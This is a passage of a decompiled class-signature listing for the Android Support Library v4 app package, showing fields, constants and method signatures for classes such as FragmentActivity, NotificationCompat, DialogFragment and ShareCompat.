    private void excludeHiddenFragments(BackStackRecord$TransitionState, int, Object);
    private static void setNameOverride(android.support.v4.util.ArrayMap, String, String);
    private static void setNameOverrides(BackStackRecord$TransitionState, java.util.ArrayList, java.util.ArrayList);
    private void setBackNameOverrides(BackStackRecord$TransitionState, android.support.v4.util.ArrayMap, boolean);
    private void setNameOverrides(BackStackRecord$TransitionState, android.support.v4.util.ArrayMap, boolean);
}










android/support/v4/app/ActivityOptionsCompat.class


package android.support.v4.app;
public synchronized class ActivityOptionsCompat {
    public static ActivityOptionsCompat makeCustomAnimation(android.content.Context, int, int);
    public static ActivityOptionsCompat makeScaleUpAnimation(android.view.View, int, int, int, int);
    public static ActivityOptionsCompat makeThumbnailScaleUpAnimation(android.view.View, android.graphics.Bitmap, int, int);
    public static ActivityOptionsCompat makeSceneTransitionAnimation(android.app.Activity, android.view.View, String);
    public static transient ActivityOptionsCompat makeSceneTransitionAnimation(android.app.Activity, android.support.v4.util.Pair[]);
    protected void ActivityOptionsCompat();
    public android.os.Bundle toBundle();
    public void update(ActivityOptionsCompat);
}










android/support/v4/app/RemoteInput$Builder.class


package android.support.v4.app;
public final synchronized class RemoteInput$Builder {
    private final String mResultKey;
    private CharSequence mLabel;
    private CharSequence[] mChoices;
    private boolean mAllowFreeFormInput;
    private android.os.Bundle mExtras;
    public void RemoteInput$Builder(String);
    public RemoteInput$Builder setLabel(CharSequence);
    public RemoteInput$Builder setChoices(CharSequence[]);
    public RemoteInput$Builder setAllowFreeFormInput(boolean);
    public RemoteInput$Builder addExtras(android.os.Bundle);
    public android.os.Bundle getExtras();
    public RemoteInput build();
}










android/support/v4/app/FragmentTransaction$Transit.class


package android.support.v4.app;
abstract interface FragmentTransaction$Transit extends annotation.Annotation {
}










android/support/v4/app/FragmentTransitionCompat21$4.class


package android.support.v4.app;
final synchronized class FragmentTransitionCompat21$4 implements android.view.ViewTreeObserver$OnPreDrawListener {
    void FragmentTransitionCompat21$4(android.view.View, android.transition.Transition, android.view.View, java.util.ArrayList, android.transition.Transition, java.util.ArrayList, android.transition.Transition, java.util.ArrayList, java.util.Map, java.util.ArrayList, android.transition.Transition);
    public boolean onPreDraw();
}










android/support/v4/app/NotificationCompat$CarExtender$UnreadConversation$1.class


package android.support.v4.app;
final synchronized class NotificationCompat$CarExtender$UnreadConversation$1 implements NotificationCompatBase$UnreadConversation$Factory {
    void NotificationCompat$CarExtender$UnreadConversation$1();
    public NotificationCompat$CarExtender$UnreadConversation build(String[], RemoteInputCompatBase$RemoteInput, android.app.PendingIntent, android.app.PendingIntent, String[], long);
}










android/support/v4/app/RemoteInput$ImplBase.class


package android.support.v4.app;
synchronized class RemoteInput$ImplBase implements RemoteInput$Impl {
    void RemoteInput$ImplBase();
    public android.os.Bundle getResultsFromIntent(android.content.Intent);
    public void addResultsToIntent(RemoteInput[], android.content.Intent, android.os.Bundle);
}










android/support/v4/app/NotificationManagerCompat$ServiceConnectedEvent.class


package android.support.v4.app;
synchronized class NotificationManagerCompat$ServiceConnectedEvent {
    final android.content.ComponentName componentName;
    final android.os.IBinder iBinder;
    public void NotificationManagerCompat$ServiceConnectedEvent(android.content.ComponentName, android.os.IBinder);
}










android/support/v4/app/DialogFragment$DialogStyle.class


package android.support.v4.app;
abstract interface DialogFragment$DialogStyle extends annotation.Annotation {
}










android/support/v4/app/TaskStackBuilder$TaskStackBuilderImplJellybean.class


package android.support.v4.app;
synchronized class TaskStackBuilder$TaskStackBuilderImplJellybean implements TaskStackBuilder$TaskStackBuilderImpl {
    void TaskStackBuilder$TaskStackBuilderImplJellybean();
    public android.app.PendingIntent getPendingIntent(android.content.Context, android.content.Intent[], int, int, android.os.Bundle);
}










android/support/v4/app/SuperNotCalledException.class


package android.support.v4.app;
final synchronized class SuperNotCalledException extends android.util.AndroidRuntimeException {
    public void SuperNotCalledException(String);
}










android/support/v4/app/FragmentManagerImpl$1.class


package android.support.v4.app;
synchronized class FragmentManagerImpl$1 implements Runnable {
    void FragmentManagerImpl$1(FragmentManagerImpl);
    public void run();
}










android/support/v4/app/NotificationCompat$WearableExtender.class


package android.support.v4.app;
public final synchronized class NotificationCompat$WearableExtender implements NotificationCompat$Extender {
    public static final int UNSET_ACTION_INDEX = -1;
    public static final int SIZE_DEFAULT = 0;
    public static final int SIZE_XSMALL = 1;
    public static final int SIZE_SMALL = 2;
    public static final int SIZE_MEDIUM = 3;
    public static final int SIZE_LARGE = 4;
    public static final int SIZE_FULL_SCREEN = 5;
    public static final int SCREEN_TIMEOUT_SHORT = 0;
    public static final int SCREEN_TIMEOUT_LONG = -1;
    private static final String EXTRA_WEARABLE_EXTENSIONS = android.wearable.EXTENSIONS;
    private static final String KEY_ACTIONS = actions;
    private static final String KEY_FLAGS = flags;
    private static final String KEY_DISPLAY_INTENT = displayIntent;
    private static final String KEY_PAGES = pages;
    private static final String KEY_BACKGROUND = background;
    private static final String KEY_CONTENT_ICON = contentIcon;
    private static final String KEY_CONTENT_ICON_GRAVITY = contentIconGravity;
    private static final String KEY_CONTENT_ACTION_INDEX = contentActionIndex;
    private static final String KEY_CUSTOM_SIZE_PRESET = customSizePreset;
    private static final String KEY_CUSTOM_CONTENT_HEIGHT = customContentHeight;
    private static final String KEY_GRAVITY = gravity;
    private static final String KEY_HINT_SCREEN_TIMEOUT = hintScreenTimeout;
    private static final int FLAG_CONTENT_INTENT_AVAILABLE_OFFLINE = 1;
    private static final int FLAG_HINT_HIDE_ICON = 2;
    private static final int FLAG_HINT_SHOW_BACKGROUND_ONLY = 4;
    private static final int FLAG_START_SCROLL_BOTTOM = 8;
    private static final int FLAG_HINT_AVOID_BACKGROUND_CLIPPING = 16;
    private static final int DEFAULT_FLAGS = 1;
    private static final int DEFAULT_CONTENT_ICON_GRAVITY = 8388613;
    private static final int DEFAULT_GRAVITY = 80;
    private java.util.ArrayList mActions;
    private int mFlags;
    private android.app.PendingIntent mDisplayIntent;
    private java.util.ArrayList mPages;
    private android.graphics.Bitmap mBackground;
    private int mContentIcon;
    private int mContentIconGravity;
    private int mContentActionIndex;
    private int mCustomSizePreset;
    private int mCustomContentHeight;
    private int mGravity;
    private int mHintScreenTimeout;
    public void NotificationCompat$WearableExtender();
    public void NotificationCompat$WearableExtender(android.app.Notification);
    public NotificationCompat$Builder extend(NotificationCompat$Builder);
    public NotificationCompat$WearableExtender clone();
    public NotificationCompat$WearableExtender addAction(NotificationCompat$Action);
    public NotificationCompat$WearableExtender addActions(java.util.List);
    public NotificationCompat$WearableExtender clearActions();
    public java.util.List getActions();
    public NotificationCompat$WearableExtender setDisplayIntent(android.app.PendingIntent);
    public android.app.PendingIntent getDisplayIntent();
    public NotificationCompat$WearableExtender addPage(android.app.Notification);
    public NotificationCompat$WearableExtender addPages(java.util.List);
    public NotificationCompat$WearableExtender clearPages();
    public java.util.List getPages();
    public NotificationCompat$WearableExtender setBackground(android.graphics.Bitmap);
    public android.graphics.Bitmap getBackground();
    public NotificationCompat$WearableExtender setContentIcon(int);
    public int getContentIcon();
    public NotificationCompat$WearableExtender setContentIconGravity(int);
    public int getContentIconGravity();
    public NotificationCompat$WearableExtender setContentAction(int);
    public int getContentAction();
    public NotificationCompat$WearableExtender setGravity(int);
    public int getGravity();
    public NotificationCompat$WearableExtender setCustomSizePreset(int);
    public int getCustomSizePreset();
    public NotificationCompat$WearableExtender setCustomContentHeight(int);
    public int getCustomContentHeight();
    public NotificationCompat$WearableExtender setStartScrollBottom(boolean);
    public boolean getStartScrollBottom();
    public NotificationCompat$WearableExtender setContentIntentAvailableOffline(boolean);
    public boolean getContentIntentAvailableOffline();
    public NotificationCompat$WearableExtender setHintHideIcon(boolean);
    public boolean getHintHideIcon();
    public NotificationCompat$WearableExtender setHintShowBackgroundOnly(boolean);
    public boolean getHintShowBackgroundOnly();
    public NotificationCompat$WearableExtender setHintAvoidBackgroundClipping(boolean);
    public boolean getHintAvoidBackgroundClipping();
    public NotificationCompat$WearableExtender setHintScreenTimeout(int);
    public int getHintScreenTimeout();
    private void setFlag(int, boolean);
}










android/support/v4/app/FragmentActivity.class


package android.support.v4.app;
public synchronized class FragmentActivity extends android.app.Activity {
    private static final String TAG = FragmentActivity;
    static final String FRAGMENTS_TAG = android:support:fragments;
    private static final int HONEYCOMB = 11;
    static final int MSG_REALLY_STOPPED = 1;
    static final int MSG_RESUME_PENDING = 2;
    final android.os.Handler mHandler;
    final FragmentManagerImpl mFragments;
    final FragmentContainer mContainer;
    boolean mCreated;
    boolean mResumed;
    boolean mStopped;
    boolean mReallyStopped;
    boolean mRetaining;
    boolean mOptionsMenuInvalidated;
    boolean mCheckedForLoaderManager;
    boolean mLoadersStarted;
    android.support.v4.util.SimpleArrayMap mAllLoaderManagers;
    LoaderManagerImpl mLoaderManager;
    public void FragmentActivity();
    protected void onActivityResult(int, int, android.content.Intent);
    public void onBackPressed();
    public void supportFinishAfterTransition();
    public void setEnterSharedElementCallback(SharedElementCallback);
    public void setExitSharedElementCallback(SharedElementCallback);
    public void supportPostponeEnterTransition();
    public void supportStartPostponedEnterTransition();
    public void onConfigurationChanged(android.content.res.Configuration);
    protected void onCreate(android.os.Bundle);
    public boolean onCreatePanelMenu(int, android.view.Menu);
    public android.view.View onCreateView(String, android.content.Context, android.util.AttributeSet);
    protected void onDestroy();
    public boolean onKeyDown(int, android.view.KeyEvent);
    public void onLowMemory();
    public boolean onMenuItemSelected(int, android.view.MenuItem);
    public void onPanelClosed(int, android.view.Menu);
    protected void onPause();
    protected void onNewIntent(android.content.Intent);
    protected void onResume();
    protected void onPostResume();
    protected void onResumeFragments();
    public boolean onPreparePanel(int, android.view.View, android.view.Menu);
    protected boolean onPrepareOptionsPanel(android.view.View, android.view.Menu);
    public final Object onRetainNonConfigurationInstance();
    protected void onSaveInstanceState(android.os.Bundle);
    protected void onStart();
    protected void onStop();
    public Object onRetainCustomNonConfigurationInstance();
    public Object getLastCustomNonConfigurationInstance();
    public void supportInvalidateOptionsMenu();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    private static String viewToString(android.view.View);
    private void dumpViewHierarchy(String, java.io.PrintWriter, android.view.View);
    void doReallyStop(boolean);
    void onReallyStop();
    public void onAttachFragment(Fragment);
    public FragmentManager getSupportFragmentManager();
    public void startActivityForResult(android.content.Intent, int);
    public void startActivityFromFragment(Fragment, android.content.Intent, int);
    void invalidateSupportFragment(String);
    public LoaderManager getSupportLoaderManager();
    LoaderManagerImpl getLoaderManager(String, boolean, boolean);
}










android/support/v4/app/NotificationCompat$Style.class


package android.support.v4.app;
public abstract synchronized class NotificationCompat$Style {
    NotificationCompat$Builder mBuilder;
    CharSequence mBigContentTitle;
    CharSequence mSummaryText;
    boolean mSummaryTextSet;
    public void NotificationCompat$Style();
    public void setBuilder(NotificationCompat$Builder);
    public android.app.Notification build();
}










android/support/v4/app/NotificationCompat$NotificationCompatImplIceCreamSandwich.class


package android.support.v4.app;
synchronized class NotificationCompat$NotificationCompatImplIceCreamSandwich extends NotificationCompat$NotificationCompatImplBase {
    void NotificationCompat$NotificationCompatImplIceCreamSandwich();
    public android.app.Notification build(NotificationCompat$Builder);
}










android/support/v4/app/DialogFragment.class


package android.support.v4.app;
public synchronized class DialogFragment extends Fragment implements android.content.DialogInterface$OnCancelListener, android.content.DialogInterface$OnDismissListener {
    public static final int STYLE_NORMAL = 0;
    public static final int STYLE_NO_TITLE = 1;
    public static final int STYLE_NO_FRAME = 2;
    public static final int STYLE_NO_INPUT = 3;
    private static final String SAVED_DIALOG_STATE_TAG = android:savedDialogState;
    private static final String SAVED_STYLE = android:style;
    private static final String SAVED_THEME = android:theme;
    private static final String SAVED_CANCELABLE = android:cancelable;
    private static final String SAVED_SHOWS_DIALOG = android:showsDialog;
    private static final String SAVED_BACK_STACK_ID = android:backStackId;
    int mStyle;
    int mTheme;
    boolean mCancelable;
    boolean mShowsDialog;
    int mBackStackId;
    android.app.Dialog mDialog;
    boolean mViewDestroyed;
    boolean mDismissed;
    boolean mShownByMe;
    public void DialogFragment();
    public void setStyle(int, int);
    public void show(FragmentManager, String);
    public int show(FragmentTransaction, String);
    public void dismiss();
    public void dismissAllowingStateLoss();
    void dismissInternal(boolean);
    public android.app.Dialog getDialog();
    public int getTheme();
    public void setCancelable(boolean);
    public boolean isCancelable();
    public void setShowsDialog(boolean);
    public boolean getShowsDialog();
    public void onAttach(android.app.Activity);
    public void onDetach();
    public void onCreate(android.os.Bundle);
    public android.view.LayoutInflater getLayoutInflater(android.os.Bundle);
    public android.app.Dialog onCreateDialog(android.os.Bundle);
    public void onCancel(android.content.DialogInterface);
    public void onDismiss(android.content.DialogInterface);
    public void onActivityCreated(android.os.Bundle);
    public void onStart();
    public void onSaveInstanceState(android.os.Bundle);
    public void onStop();
    public void onDestroyView();
}










android/support/v4/app/NotificationCompat.class


package android.support.v4.app;
public synchronized class NotificationCompat {
    public static final int DEFAULT_ALL = -1;
    public static final int DEFAULT_SOUND = 1;
    public static final int DEFAULT_VIBRATE = 2;
    public static final int DEFAULT_LIGHTS = 4;
    public static final int STREAM_DEFAULT = -1;
    public static final int FLAG_SHOW_LIGHTS = 1;
    public static final int FLAG_ONGOING_EVENT = 2;
    public static final int FLAG_INSISTENT = 4;
    public static final int FLAG_ONLY_ALERT_ONCE = 8;
    public static final int FLAG_AUTO_CANCEL = 16;
    public static final int FLAG_NO_CLEAR = 32;
    public static final int FLAG_FOREGROUND_SERVICE = 64;
    public static final int FLAG_HIGH_PRIORITY = 128;
    public static final int FLAG_LOCAL_ONLY = 256;
    public static final int FLAG_GROUP_SUMMARY = 512;
    public static final int PRIORITY_DEFAULT = 0;
    public static final int PRIORITY_LOW = -1;
    public static final int PRIORITY_MIN = -2;
    public static final int PRIORITY_HIGH = 1;
    public static final int PRIORITY_MAX = 2;
    public static final String EXTRA_TITLE = android.title;
    public static final String EXTRA_TITLE_BIG = android.title.big;
    public static final String EXTRA_TEXT = android.text;
    public static final String EXTRA_SUB_TEXT = android.subText;
    public static final String EXTRA_INFO_TEXT = android.infoText;
    public static final String EXTRA_SUMMARY_TEXT = android.summaryText;
    public static final String EXTRA_BIG_TEXT = android.bigText;
    public static final String EXTRA_SMALL_ICON = android.icon;
    public static final String EXTRA_LARGE_ICON = android.largeIcon;
    public static final String EXTRA_LARGE_ICON_BIG = android.largeIcon.big;
    public static final String EXTRA_PROGRESS = android.progress;
    public static final String EXTRA_PROGRESS_MAX = android.progressMax;
    public static final String EXTRA_PROGRESS_INDETERMINATE = android.progressIndeterminate;
    public static final String EXTRA_SHOW_CHRONOMETER = android.showChronometer;
    public static final String EXTRA_SHOW_WHEN = android.showWhen;
    public static final String EXTRA_PICTURE = android.picture;
    public static final String EXTRA_TEXT_LINES = android.textLines;
    public static final String EXTRA_TEMPLATE = android.template;
    public static final String EXTRA_PEOPLE = android.people;
    public static final String EXTRA_BACKGROUND_IMAGE_URI = android.backgroundImageUri;
    public static final String EXTRA_MEDIA_SESSION = android.mediaSession;
    public static final String EXTRA_COMPACT_ACTIONS = android.compactActions;
    public static final int COLOR_DEFAULT = 0;
    public static final int VISIBILITY_PUBLIC = 1;
    public static final int VISIBILITY_PRIVATE = 0;
    public static final int VISIBILITY_SECRET = -1;
    public static final String CATEGORY_CALL = call;
    public static final String CATEGORY_MESSAGE = msg;
    public static final String CATEGORY_EMAIL = email;
    public static final String CATEGORY_EVENT = event;
    public static final String CATEGORY_PROMO = promo;
    public static final String CATEGORY_ALARM = alarm;
    public static final String CATEGORY_PROGRESS = progress;
    public static final String CATEGORY_SOCIAL = social;
    public static final String CATEGORY_ERROR = err;
    public static final String CATEGORY_TRANSPORT = transport;
    public static final String CATEGORY_SYSTEM = sys;
    public static final String CATEGORY_SERVICE = service;
    public static final String CATEGORY_RECOMMENDATION = recommendation;
    public static final String CATEGORY_STATUS = status;
    private static final NotificationCompat$NotificationCompatImpl IMPL;
    public void NotificationCompat();
    private static void addActionsToBuilder(NotificationBuilderWithActions, java.util.ArrayList);
    private static void addStyleToBuilderJellybean(NotificationBuilderWithBuilderAccessor, NotificationCompat$Style);
    private static android.app.Notification[] getNotificationArrayFromBundle(android.os.Bundle, String);
    public static android.os.Bundle getExtras(android.app.Notification);
    public static int getActionCount(android.app.Notification);
    public static NotificationCompat$Action getAction(android.app.Notification, int);
    public static String getCategory(android.app.Notification);
    public static boolean getLocalOnly(android.app.Notification);
    public static String getGroup(android.app.Notification);
    public static boolean isGroupSummary(android.app.Notification);
    public static String getSortKey(android.app.Notification);
    static void <clinit>();
}










android/support/v4/app/BackStackState$1.class


package android.support.v4.app;
final synchronized class BackStackState$1 implements android.os.Parcelable$Creator {
    void BackStackState$1();
    public BackStackState createFromParcel(android.os.Parcel);
    public BackStackState[] newArray(int);
}










android/support/v4/app/FragmentPagerAdapter.class


package android.support.v4.app;
public abstract synchronized class FragmentPagerAdapter extends android.support.v4.view.PagerAdapter {
    private static final String TAG = FragmentPagerAdapter;
    private static final boolean DEBUG = 0;
    private final FragmentManager mFragmentManager;
    private FragmentTransaction mCurTransaction;
    private Fragment mCurrentPrimaryItem;
    public void FragmentPagerAdapter(FragmentManager);
    public abstract Fragment getItem(int);
    public void startUpdate(android.view.ViewGroup);
    public Object instantiateItem(android.view.ViewGroup, int);
    public void destroyItem(android.view.ViewGroup, int, Object);
    public void setPrimaryItem(android.view.ViewGroup, int, Object);
    public void finishUpdate(android.view.ViewGroup);
    public boolean isViewFromObject(android.view.View, Object);
    public android.os.Parcelable saveState();
    public void restoreState(android.os.Parcelable, ClassLoader);
    public long getItemId(int);
    private static String makeFragmentName(int, long);
}










android/support/v4/app/FragmentActivity$NonConfigurationInstances.class


package android.support.v4.app;
final synchronized class FragmentActivity$NonConfigurationInstances {
    Object activity;
    Object custom;
    android.support.v4.util.SimpleArrayMap children;
    java.util.ArrayList fragments;
    android.support.v4.util.SimpleArrayMap loaders;
    void FragmentActivity$NonConfigurationInstances();
}










android/support/v4/app/NotificationCompatGingerbread.class


package android.support.v4.app;
synchronized class NotificationCompatGingerbread {
    void NotificationCompatGingerbread();
    public static android.app.Notification add(android.app.Notification, android.content.Context, CharSequence, CharSequence, android.app.PendingIntent, android.app.PendingIntent);
}










android/support/v4/app/FragmentTabHost$DummyTabFactory.class


package android.support.v4.app;
synchronized class FragmentTabHost$DummyTabFactory implements android.widget.TabHost$TabContentFactory {
    private final android.content.Context mContext;
    public void FragmentTabHost$DummyTabFactory(android.content.Context);
    public android.view.View createTabContent(String);
}










android/support/v4/app/FragmentManager$BackStackEntry.class


package android.support.v4.app;
public abstract interface FragmentManager$BackStackEntry {
    public abstract int getId();
    public abstract String getName();
    public abstract int getBreadCrumbTitleRes();
    public abstract int getBreadCrumbShortTitleRes();
    public abstract CharSequence getBreadCrumbTitle();
    public abstract CharSequence getBreadCrumbShortTitle();
}










android/support/v4/app/TaskStackBuilder$TaskStackBuilderImplHoneycomb.class


package android.support.v4.app;
synchronized class TaskStackBuilder$TaskStackBuilderImplHoneycomb implements TaskStackBuilder$TaskStackBuilderImpl {
    void TaskStackBuilder$TaskStackBuilderImplHoneycomb();
    public android.app.PendingIntent getPendingIntent(android.content.Context, android.content.Intent[], int, int, android.os.Bundle);
}










android/support/v4/app/BackStackRecord$1.class


package android.support.v4.app;
synchronized class BackStackRecord$1 implements FragmentTransitionCompat21$ViewRetriever {
    void BackStackRecord$1(BackStackRecord, Fragment);
    public android.view.View getView();
}










android/support/v4/app/ActionBarDrawerToggle$SlideDrawable.class


package android.support.v4.app;
synchronized class ActionBarDrawerToggle$SlideDrawable extends android.graphics.drawable.InsetDrawable implements android.graphics.drawable.Drawable$Callback {
    private final boolean mHasMirroring;
    private final android.graphics.Rect mTmpRect;
    private float mPosition;
    private float mOffset;
    private void ActionBarDrawerToggle$SlideDrawable(ActionBarDrawerToggle, android.graphics.drawable.Drawable);
    public void setPosition(float);
    public float getPosition();
    public void setOffset(float);
    public void draw(android.graphics.Canvas);
}










android/support/v4/app/NotificationCompatBase$UnreadConversation.class


package android.support.v4.app;
public abstract synchronized class NotificationCompatBase$UnreadConversation {
    public void NotificationCompatBase$UnreadConversation();
    abstract String[] getParticipants();
    abstract String getParticipant();
    abstract String[] getMessages();
    abstract RemoteInputCompatBase$RemoteInput getRemoteInput();
    abstract android.app.PendingIntent getReplyPendingIntent();
    abstract android.app.PendingIntent getReadPendingIntent();
    abstract long getLatestTimestamp();
}










android/support/v4/app/INotificationSideChannel$Stub$Proxy.class


package android.support.v4.app;
synchronized class INotificationSideChannel$Stub$Proxy implements INotificationSideChannel {
    private android.os.IBinder mRemote;
    void INotificationSideChannel$Stub$Proxy(android.os.IBinder);
    public android.os.IBinder asBinder();
    public String getInterfaceDescriptor();
    public void notify(String, int, String, android.app.Notification) throws android.os.RemoteException;
    public void cancel(String, int, String) throws android.os.RemoteException;
    public void cancelAll(String) throws android.os.RemoteException;
}










android/support/v4/app/ActionBarDrawerToggleHoneycomb.class


package android.support.v4.app;
synchronized class ActionBarDrawerToggleHoneycomb {
    private static final String TAG = ActionBarDrawerToggleHoneycomb;
    private static final int[] THEME_ATTRS;
    void ActionBarDrawerToggleHoneycomb();
    public static Object setActionBarUpIndicator(Object, android.app.Activity, android.graphics.drawable.Drawable, int);
    public static Object setActionBarDescription(Object, android.app.Activity, int);
    public static android.graphics.drawable.Drawable getThemeUpIndicator(android.app.Activity);
    static void <clinit>();
}










android/support/v4/app/NotificationCompatIceCreamSandwich.class


package android.support.v4.app;
synchronized class NotificationCompatIceCreamSandwich {
    void NotificationCompatIceCreamSandwich();
    static android.app.Notification add(android.content.Context, android.app.Notification, CharSequence, CharSequence, CharSequence, android.widget.RemoteViews, int, android.app.PendingIntent, android.app.PendingIntent, android.graphics.Bitmap, int, int, boolean);
}










android/support/v4/app/NotificationCompatKitKat$Builder.class


package android.support.v4.app;
public synchronized class NotificationCompatKitKat$Builder implements NotificationBuilderWithBuilderAccessor, NotificationBuilderWithActions {
    private android.app.Notification$Builder b;
    private android.os.Bundle mExtras;
    private java.util.List mActionExtrasList;
    public void NotificationCompatKitKat$Builder(android.content.Context, android.app.Notification, CharSequence, CharSequence, CharSequence, android.widget.RemoteViews, int, android.app.PendingIntent, android.app.PendingIntent, android.graphics.Bitmap, int, int, boolean, boolean, boolean, int, CharSequence, boolean, java.util.ArrayList, android.os.Bundle, String, boolean, String);
    public void addAction(NotificationCompatBase$Action);
    public android.app.Notification$Builder getBuilder();
    public android.app.Notification build();
}










android/support/v4/app/FragmentTransitionCompat21$EpicenterView.class


package android.support.v4.app;
public synchronized class FragmentTransitionCompat21$EpicenterView {
    public android.view.View epicenter;
    public void FragmentTransitionCompat21$EpicenterView();
}










android/support/v4/app/FragmentTabHost$1.class


package android.support.v4.app;
synchronized class FragmentTabHost$1 {
}










android/support/v4/app/ShareCompat$IntentBuilder.class


package android.support.v4.app;
public synchronized class ShareCompat$IntentBuilder {
    private android.app.Activity mActivity;
    private android.content.Intent mIntent;
    private CharSequence mChooserTitle;
    private java.util.ArrayList mToAddresses;
    private java.util.ArrayList mCcAddresses;
    private java.util.ArrayList mBccAddresses;
    private java.util.ArrayList mStreams;
    public static ShareCompat$IntentBuilder from(android.app.Activity);
    private void ShareCompat$IntentBuilder(android.app.Activity);
    public android.content.Intent getIntent();
    android.app.Activity getActivity();
    private void combineArrayExtra(String, java.util.ArrayList);
    private void combineArrayExtra(String, String[]);
    public android.content.Intent createChooserIntent();
    public void startChooser();
    public ShareCompat$IntentBuilder setChooserTitle(CharSequence);
    public ShareCompat$IntentBuilder setChooserTitle(int);
    public ShareCompat$IntentBuilder setType(String);
    public ShareCompat$IntentBuilder setText(CharSequence);
    public ShareCompat$IntentBuilder setHtmlText(String);
    public ShareCompat$IntentBuilder setStream(android.net.Uri);
    public ShareCompat$IntentBuilder addStream(android.net.Uri);
    public ShareCompat$IntentBuilder setEmailTo(String[]);
    public ShareCompat$IntentBuilder addEmailTo(String);
    public ShareCompat$IntentBuilder addEmailTo(String[]);
    public ShareCompat$IntentBuilder setEmailCc(String[]);
    public ShareCompat$IntentBuilder addEmailCc(String);
    public ShareCompat$IntentBuilder addEmailCc(String[]);
    public ShareCompat$IntentBuilder setEmailBcc(String[]);
    public ShareCompat$IntentBuilder addEmailBcc(String);
    public ShareCompat$IntentBuilder addEmailBcc(String[]);
    public ShareCompat$IntentBuilder setSubject(String);
}










android/support/v4/app/NotificationCompat$Action.class


package android.support.v4.app;
public synchronized class NotificationCompat$Action extends NotificationCompatBase$Action {
    private final android.os.Bundle mExtras;
    private final RemoteInput[] mRemoteInputs;
    public int icon;
    public CharSequence title;
    public android.app.PendingIntent actionIntent;
    public static final NotificationCompatBase$Action$Factory FACTORY;
    public void NotificationCompat$Action(int, CharSequence, android.app.PendingIntent);
    private void NotificationCompat$Action(int, CharSequence, android.app.PendingIntent, android.os.Bundle, RemoteInput[]);
    protected int getIcon();
    protected CharSequence getTitle();
    protected android.app.PendingIntent getActionIntent();
    public android.os.Bundle getExtras();
    public RemoteInput[] getRemoteInputs();
    static void <clinit>();
}










android/support/v4/app/LoaderManager$LoaderCallbacks.class


package android.support.v4.app;
public abstract interface LoaderManager$LoaderCallbacks {
    public abstract android.support.v4.content.Loader onCreateLoader(int, android.os.Bundle);
    public abstract void onLoadFinished(android.support.v4.content.Loader, Object);
    public abstract void onLoaderReset(android.support.v4.content.Loader);
}










android/support/v4/app/FragmentTabHost$SavedState.class


package android.support.v4.app;
synchronized class FragmentTabHost$SavedState extends android.view.View$BaseSavedState {
    String curTab;
    public static final android.os.Parcelable$Creator CREATOR;
    void FragmentTabHost$SavedState(android.os.Parcelable);
    private void FragmentTabHost$SavedState(android.os.Parcel);
    public void writeToParcel(android.os.Parcel, int);
    public String toString();
    static void <clinit>();
}










android/support/v4/app/NotificationCompatJellybean.class


package android.support.v4.app;
synchronized class NotificationCompatJellybean {
    public static final String TAG = NotificationCompat;
    static final String EXTRA_LOCAL_ONLY = android.support.localOnly;
    static final String EXTRA_ACTION_EXTRAS = android.support.actionExtras;
    static final String EXTRA_REMOTE_INPUTS = android.support.remoteInputs;
    static final String EXTRA_GROUP_KEY = android.support.groupKey;
    static final String EXTRA_GROUP_SUMMARY = android.support.isGroupSummary;
    static final String EXTRA_SORT_KEY = android.support.sortKey;
    static final String EXTRA_USE_SIDE_CHANNEL = android.support.useSideChannel;
    private static final String KEY_ICON = icon;
    private static final String KEY_TITLE = title;
    private static final String KEY_ACTION_INTENT = actionIntent;
    private static final String KEY_EXTRAS = extras;
    private static final String KEY_REMOTE_INPUTS = remoteInputs;
    private static final Object sExtrasLock;
    private static reflect.Field sExtrasField;
    private static boolean sExtrasFieldAccessFailed;
    private static final Object sActionsLock;
    private static Class sActionClass;
    private static reflect.Field sActionsField;
    private static reflect.Field sActionIconField;
    private static reflect.Field sActionTitleField;
    private static reflect.Field sActionIntentField;
    private static boolean sActionsAccessFailed;
    void NotificationCompatJellybean();
    public static void addBigTextStyle(NotificationBuilderWithBuilderAccessor, CharSequence, boolean, CharSequence, CharSequence);
    public static void addBigPictureStyle(NotificationBuilderWithBuilderAccessor, CharSequence, boolean, CharSequence, android.graphics.Bitmap, android.graphics.Bitmap, boolean);
    public static void addInboxStyle(NotificationBuilderWithBuilderAccessor, CharSequence, boolean, CharSequence, java.util.ArrayList);
    public static android.util.SparseArray buildActionExtrasMap(java.util.List);
    public static android.os.Bundle getExtras(android.app.Notification);
    public static NotificationCompatBase$Action readAction(NotificationCompatBase$Action$Factory, RemoteInputCompatBase$RemoteInput$Factory, int, CharSequence, android.app.PendingIntent, android.os.Bundle);
    public static android.os.Bundle writeActionAndGetExtras(android.app.Notification$Builder, NotificationCompatBase$Action);
    public static int getActionCount(android.app.Notification);
    public static NotificationCompatBase$Action getAction(android.app.Notification, int, NotificationCompatBase$Action$Factory, RemoteInputCompatBase$RemoteInput$Factory);
    private static Object[] getActionObjectsLocked(android.app.Notification);
    private static boolean ensureActionReflectionReadyLocked();
    public static NotificationCompatBase$Action[] getActionsFromParcelableArrayList(java.util.ArrayList, NotificationCompatBase$Action$Factory, RemoteInputCompatBase$RemoteInput$Factory);
    private static NotificationCompatBase$Action getActionFromBundle(android.os.Bundle, NotificationCompatBase$Action$Factory, RemoteInputCompatBase$RemoteInput$Factory);
    public static java.util.ArrayList getParcelableArrayListForActions(NotificationCompatBase$Action[]);
    private static android.os.Bundle getBundleForAction(NotificationCompatBase$Action);
    public static boolean getLocalOnly(android.app.Notification);
    public static String getGroup(android.app.Notification);
    public static boolean isGroupSummary(android.app.Notification);
    public static String getSortKey(android.app.Notification);
    static void <clinit>();
}










android/support/v4/app/NotificationCompat$BigTextStyle.class


package android.support.v4.app;
public synchronized class NotificationCompat$BigTextStyle extends NotificationCompat$Style {
    CharSequence mBigText;
    public void NotificationCompat$BigTextStyle();
    public void NotificationCompat$BigTextStyle(NotificationCompat$Builder);
    public NotificationCompat$BigTextStyle setBigContentTitle(CharSequence);
    public NotificationCompat$BigTextStyle setSummaryText(CharSequence);
    public NotificationCompat$BigTextStyle bigText(CharSequence);
}










android/support/v4/app/ActivityManagerCompatKitKat.class


package android.support.v4.app;
synchronized class ActivityManagerCompatKitKat {
    void ActivityManagerCompatKitKat();
    public static boolean isLowRamDevice(android.app.ActivityManager);
}










android/support/v4/app/ActivityManagerCompat.class


package android.support.v4.app;
public final synchronized class ActivityManagerCompat {
    private void ActivityManagerCompat();
    public static boolean isLowRamDevice(android.app.ActivityManager);
}










android/support/v4/app/FragmentActivity$2.class


package android.support.v4.app;
synchronized class FragmentActivity$2 implements FragmentContainer {
    void FragmentActivity$2(FragmentActivity);
    public android.view.View findViewById(int);
    public boolean hasView();
}










android/support/v4/app/RemoteInputCompatJellybean.class


